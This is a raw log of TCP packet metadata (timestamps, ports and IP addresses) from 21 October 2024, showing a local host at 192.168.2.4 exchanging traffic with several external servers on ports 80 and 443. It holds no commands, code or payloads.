Oct 21, 2024 10:47:28.377836943 CEST	49975	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:28.487410069 CEST	443	49978	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:28.495452881 CEST	443	49978	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:28.510179043 CEST	49978	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:28.512658119 CEST	49978	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:28.512672901 CEST	443	49978	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:28.513569117 CEST	443	49978	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:28.558502913 CEST	49978	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:28.587054968 CEST	49978	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:28.627445936 CEST	443	49978	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:28.775196075 CEST	443	49974	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:28.775266886 CEST	443	49974	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:28.780551910 CEST	49974	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:28.780874968 CEST	49974	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:28.780886889 CEST	443	49974	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:28.889179945 CEST	49987	443	192.168.2.4	34.107.243.93
Oct 21, 2024 10:47:28.889193058 CEST	443	49987	34.107.243.93	192.168.2.4
Oct 21, 2024 10:47:28.889357090 CEST	49987	443	192.168.2.4	34.107.243.93
Oct 21, 2024 10:47:28.890614033 CEST	49987	443	192.168.2.4	34.107.243.93
Oct 21, 2024 10:47:28.890624046 CEST	443	49987	34.107.243.93	192.168.2.4
Oct 21, 2024 10:47:28.941766977 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:28.946722031 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:29.083034992 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:29.087873936 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:29.235369921 CEST	443	49978	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:29.235461950 CEST	443	49978	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:29.235497952 CEST	443	49978	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:29.235526085 CEST	443	49978	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:29.235559940 CEST	443	49978	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:29.244191885 CEST	49978	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:29.244232893 CEST	443	49978	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:29.244355917 CEST	49978	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:29.244355917 CEST	49978	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:29.255379915 CEST	443	49978	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:29.255458117 CEST	443	49978	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:29.255470037 CEST	49978	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:29.255486012 CEST	443	49978	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:29.255619049 CEST	49978	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:29.265729904 CEST	443	49978	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:29.265865088 CEST	443	49978	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:29.265980959 CEST	49978	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:29.266077042 CEST	49978	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:29.266088963 CEST	443	49978	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:29.266110897 CEST	49978	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:29.266115904 CEST	443	49978	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:29.271574020 CEST	49989	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:29.271593094 CEST	443	49989	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:29.271713018 CEST	49989	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:29.272078991 CEST	49989	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:29.272093058 CEST	443	49989	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:29.510150909 CEST	443	49987	34.107.243.93	192.168.2.4
Oct 21, 2024 10:47:29.510243893 CEST	49987	443	192.168.2.4	34.107.243.93
Oct 21, 2024 10:47:29.514214993 CEST	49987	443	192.168.2.4	34.107.243.93
Oct 21, 2024 10:47:29.514221907 CEST	443	49987	34.107.243.93	192.168.2.4
Oct 21, 2024 10:47:29.514293909 CEST	49987	443	192.168.2.4	34.107.243.93
Oct 21, 2024 10:47:29.514372110 CEST	443	49987	34.107.243.93	192.168.2.4
Oct 21, 2024 10:47:29.515074015 CEST	49987	443	192.168.2.4	34.107.243.93
Oct 21, 2024 10:47:29.518337011 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:29.523175955 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:29.532207966 CEST	49947	80	192.168.2.4	185.215.113.37
Oct 21, 2024 10:47:29.641309023 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:29.658195972 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:29.663049936 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:29.700730085 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:29.783962011 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:29.858558893 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:29.901865959 CEST	443	49989	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:29.907406092 CEST	443	49989	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:29.919817924 CEST	49989	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:29.932682991 CEST	49989	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:29.932720900 CEST	443	49989	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:29.933655977 CEST	443	49989	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:29.940901041 CEST	49989	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:29.940921068 CEST	49989	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:29.941060066 CEST	443	49989	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:30.075215101 CEST	443	49989	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:30.075407982 CEST	443	49989	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:30.075519085 CEST	443	49989	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:30.075604916 CEST	443	49989	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:30.075793028 CEST	443	49989	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:30.080321074 CEST	49989	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:30.093552113 CEST	49989	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:30.093575954 CEST	443	49989	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:30.093585968 CEST	49989	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:30.093592882 CEST	443	49989	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:30.571238995 CEST	49998	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:30.571259022 CEST	443	49998	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:30.572805882 CEST	49998	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:30.585962057 CEST	49998	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:30.585974932 CEST	443	49998	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:30.857887983 CEST	49968	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:30.858055115 CEST	50000	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:30.862835884 CEST	80	50000	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:30.863224030 CEST	80	49968	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:30.871098995 CEST	49968	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:30.871150017 CEST	50000	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:30.871542931 CEST	50000	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:30.876308918 CEST	80	50000	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:30.974523067 CEST	50001	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:30.974567890 CEST	443	50001	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:30.974692106 CEST	50001	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:30.974998951 CEST	50001	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:30.975016117 CEST	443	50001	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:31.224122047 CEST	50004	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:31.224164963 CEST	443	50004	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:31.224231005 CEST	50004	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:31.224591970 CEST	50004	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:31.224603891 CEST	443	50004	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:31.429630995 CEST	443	49998	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:31.430712938 CEST	49998	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:31.436640978 CEST	49998	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:31.436646938 CEST	443	49998	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:31.436847925 CEST	443	49998	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:31.488353014 CEST	49998	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:31.532804966 CEST	49998	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:31.575436115 CEST	443	49998	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:31.601624966 CEST	443	50001	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:31.607405901 CEST	443	50001	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:31.619355917 CEST	50001	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:31.623279095 CEST	50001	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:31.623294115 CEST	443	50001	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:31.624110937 CEST	443	50001	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:31.642971992 CEST	50001	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:31.642997026 CEST	50001	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:31.643127918 CEST	443	50001	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:31.789928913 CEST	80	50000	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:31.790591955 CEST	50000	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:31.799599886 CEST	49975	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:31.799895048 CEST	50008	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:31.804697037 CEST	80	50008	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:31.804945946 CEST	50008	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:31.805006981 CEST	80	49975	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:31.805068970 CEST	49975	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:31.805160046 CEST	50008	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:31.809897900 CEST	80	50008	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:31.827039957 CEST	443	50004	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:31.827133894 CEST	50004	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:31.828911066 CEST	50004	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:31.828915119 CEST	443	50004	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:31.829145908 CEST	443	50004	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:31.831372976 CEST	50004	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:31.831574917 CEST	50004	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:31.831579924 CEST	443	50004	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:32.011518955 CEST	443	50001	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:32.011657953 CEST	443	50001	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:32.011749029 CEST	443	50001	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:32.011851072 CEST	443	50001	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:32.011953115 CEST	443	50001	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:32.012093067 CEST	443	50001	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:32.012135029 CEST	50001	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:32.012155056 CEST	443	50001	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:32.012195110 CEST	50001	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:32.012254000 CEST	443	50001	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:32.012339115 CEST	443	50001	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:32.012547016 CEST	50001	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:32.012556076 CEST	443	50001	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:32.012665033 CEST	443	50001	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:32.012690067 CEST	50001	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:32.012700081 CEST	443	50001	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:32.012900114 CEST	50001	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:32.100804090 CEST	443	49998	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:32.100825071 CEST	443	49998	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:32.100831985 CEST	443	49998	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:32.100864887 CEST	443	49998	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:32.100887060 CEST	443	49998	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:32.101332903 CEST	49998	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:32.101350069 CEST	443	49998	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:32.116945028 CEST	49998	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:32.119360924 CEST	443	49998	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:32.119369984 CEST	443	49998	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:32.119415998 CEST	443	49998	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:32.121547937 CEST	49998	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:32.121557951 CEST	443	49998	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:32.121629953 CEST	49998	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:32.131269932 CEST	443	50001	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:32.131493092 CEST	443	50001	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:32.131580114 CEST	443	50001	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:32.131663084 CEST	443	50001	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:32.131860971 CEST	443	50001	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:32.132884026 CEST	443	49998	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:32.132946014 CEST	443	49998	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:32.133915901 CEST	50001	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:32.134007931 CEST	49998	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:32.135535002 CEST	49998	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:32.135545969 CEST	443	49998	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:32.135562897 CEST	49998	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:32.135567904 CEST	443	49998	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:32.138103008 CEST	50011	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:32.138135910 CEST	443	50011	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:32.138608932 CEST	50011	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:32.138909101 CEST	50011	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:32.138919115 CEST	443	50011	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:32.202778101 CEST	50001	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:32.202778101 CEST	50001	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:32.202804089 CEST	443	50001	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:32.202817917 CEST	443	50001	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:32.219491005 CEST	50012	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:47:32.219516039 CEST	443	50012	34.120.208.123	192.168.2.4
Oct 21, 2024 10:47:32.219646931 CEST	50013	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:47:32.219676971 CEST	443	50013	34.120.208.123	192.168.2.4
Oct 21, 2024 10:47:32.219825983 CEST	50012	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:47:32.219896078 CEST	50013	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:47:32.220021009 CEST	50012	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:47:32.220038891 CEST	443	50012	34.120.208.123	192.168.2.4
Oct 21, 2024 10:47:32.220148087 CEST	50013	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:47:32.220159054 CEST	443	50013	34.120.208.123	192.168.2.4
Oct 21, 2024 10:47:32.223225117 CEST	50014	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:47:32.223233938 CEST	443	50014	34.120.208.123	192.168.2.4
Oct 21, 2024 10:47:32.224733114 CEST	50014	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:47:32.224875927 CEST	50014	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:47:32.224884033 CEST	443	50014	34.120.208.123	192.168.2.4
Oct 21, 2024 10:47:32.376966000 CEST	443	50004	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:32.377024889 CEST	443	50004	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:32.387403965 CEST	443	50004	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:32.388668060 CEST	50004	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:32.409224987 CEST	50004	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:32.409240007 CEST	443	50004	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:32.727483988 CEST	80	50008	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:32.738166094 CEST	50008	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:32.760200024 CEST	443	50011	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:32.771403074 CEST	443	50011	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:32.778609991 CEST	50011	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:32.831041098 CEST	443	50013	34.120.208.123	192.168.2.4
Oct 21, 2024 10:47:32.839400053 CEST	443	50013	34.120.208.123	192.168.2.4
Oct 21, 2024 10:47:32.839447021 CEST	50013	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:47:32.842861891 CEST	50013	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:47:32.842874050 CEST	443	50013	34.120.208.123	192.168.2.4
Oct 21, 2024 10:47:32.843707085 CEST	443	50013	34.120.208.123	192.168.2.4
Oct 21, 2024 10:47:32.844990969 CEST	50013	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:47:32.845110893 CEST	50013	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:47:32.845407009 CEST	443	50013	34.120.208.123	192.168.2.4
Oct 21, 2024 10:47:32.855488062 CEST	443	50014	34.120.208.123	192.168.2.4
Oct 21, 2024 10:47:32.859316111 CEST	50013	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:47:32.859344006 CEST	50013	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:47:32.859344006 CEST	50013	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:47:32.859443903 CEST	50014	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:47:32.861166000 CEST	443	50012	34.120.208.123	192.168.2.4
Oct 21, 2024 10:47:32.867403984 CEST	443	50012	34.120.208.123	192.168.2.4
Oct 21, 2024 10:47:32.874947071 CEST	50014	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:47:32.874958038 CEST	443	50014	34.120.208.123	192.168.2.4
Oct 21, 2024 10:47:32.875765085 CEST	443	50014	34.120.208.123	192.168.2.4
Oct 21, 2024 10:47:32.879596949 CEST	50012	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:47:32.889857054 CEST	50012	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:47:32.889863968 CEST	443	50012	34.120.208.123	192.168.2.4
Oct 21, 2024 10:47:32.890760899 CEST	443	50012	34.120.208.123	192.168.2.4
Oct 21, 2024 10:47:32.917648077 CEST	50014	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:47:32.918001890 CEST	443	50014	34.120.208.123	192.168.2.4
Oct 21, 2024 10:47:32.920016050 CEST	50014	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:47:32.920383930 CEST	50014	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:47:32.920396090 CEST	443	50014	34.120.208.123	192.168.2.4
Oct 21, 2024 10:47:32.926928043 CEST	50012	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:47:32.927412033 CEST	443	50012	34.120.208.123	192.168.2.4
Oct 21, 2024 10:47:32.929579020 CEST	50012	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:47:32.929584980 CEST	443	50012	34.120.208.123	192.168.2.4
Oct 21, 2024 10:47:33.014658928 CEST	50011	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:33.014684916 CEST	443	50011	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:33.015022993 CEST	443	50011	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:33.017748117 CEST	50011	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:33.017767906 CEST	50011	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:33.017816067 CEST	443	50011	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:33.022631884 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:33.027580023 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:33.139430046 CEST	443	50012	34.120.208.123	192.168.2.4
Oct 21, 2024 10:47:33.139491081 CEST	50012	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:47:33.145607948 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:33.152017117 CEST	443	50011	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:33.152050018 CEST	443	50011	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:33.152081013 CEST	443	50011	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:33.152091980 CEST	443	50011	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:33.152158976 CEST	443	50011	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:33.152257919 CEST	50011	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:33.152456045 CEST	50011	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:33.152456045 CEST	50011	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:33.152470112 CEST	443	50011	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:33.152477980 CEST	443	50011	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:33.193008900 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:33.197937965 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:33.202162981 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:33.318667889 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:33.363643885 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:33.684748888 CEST	50023	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:33.684801102 CEST	443	50023	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:33.684948921 CEST	50023	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:33.685353041 CEST	50023	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:33.685367107 CEST	443	50023	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:33.991041899 CEST	50025	80	192.168.2.4	185.215.113.37
Oct 21, 2024 10:47:33.995980024 CEST	80	50025	185.215.113.37	192.168.2.4
Oct 21, 2024 10:47:34.003711939 CEST	50025	80	192.168.2.4	185.215.113.37
Oct 21, 2024 10:47:34.006386995 CEST	50025	80	192.168.2.4	185.215.113.37
Oct 21, 2024 10:47:34.011194944 CEST	80	50025	185.215.113.37	192.168.2.4
Oct 21, 2024 10:47:34.012948036 CEST	50026	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:34.012989044 CEST	443	50026	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:34.013079882 CEST	50026	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:34.013366938 CEST	50026	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:34.013382912 CEST	443	50026	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:34.297823906 CEST	443	50023	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:34.307398081 CEST	443	50023	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:34.318486929 CEST	50023	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:34.330382109 CEST	50023	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:34.330389977 CEST	443	50023	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:34.330698013 CEST	443	50023	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:34.335787058 CEST	50023	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:34.335814953 CEST	50023	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:34.335850000 CEST	443	50023	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:34.632133007 CEST	443	50026	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:34.639420033 CEST	443	50026	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:34.660253048 CEST	50026	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:34.660312891 CEST	50026	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:34.661690950 CEST	50026	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:34.661698103 CEST	443	50026	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:34.662741899 CEST	443	50026	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:34.664349079 CEST	50026	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:34.664537907 CEST	50026	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:34.664592028 CEST	443	50026	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:34.664650917 CEST	50026	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:34.664659977 CEST	443	50026	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:34.899662971 CEST	80	50025	185.215.113.37	192.168.2.4
Oct 21, 2024 10:47:34.907428026 CEST	50025	80	192.168.2.4	185.215.113.37
Oct 21, 2024 10:47:34.911303043 CEST	50025	80	192.168.2.4	185.215.113.37
Oct 21, 2024 10:47:34.916100979 CEST	80	50025	185.215.113.37	192.168.2.4
Oct 21, 2024 10:47:34.916693926 CEST	443	50023	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:34.916749001 CEST	443	50023	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:34.916771889 CEST	443	50023	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:34.916796923 CEST	443	50023	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:34.916820049 CEST	443	50023	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:34.916840076 CEST	443	50023	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:34.916862011 CEST	443	50023	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:34.916887999 CEST	443	50023	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:34.923106909 CEST	50023	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:34.923121929 CEST	443	50023	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:34.933470011 CEST	50023	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:35.035176992 CEST	443	50023	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:35.035284996 CEST	443	50023	172.67.206.204	192.168.2.4
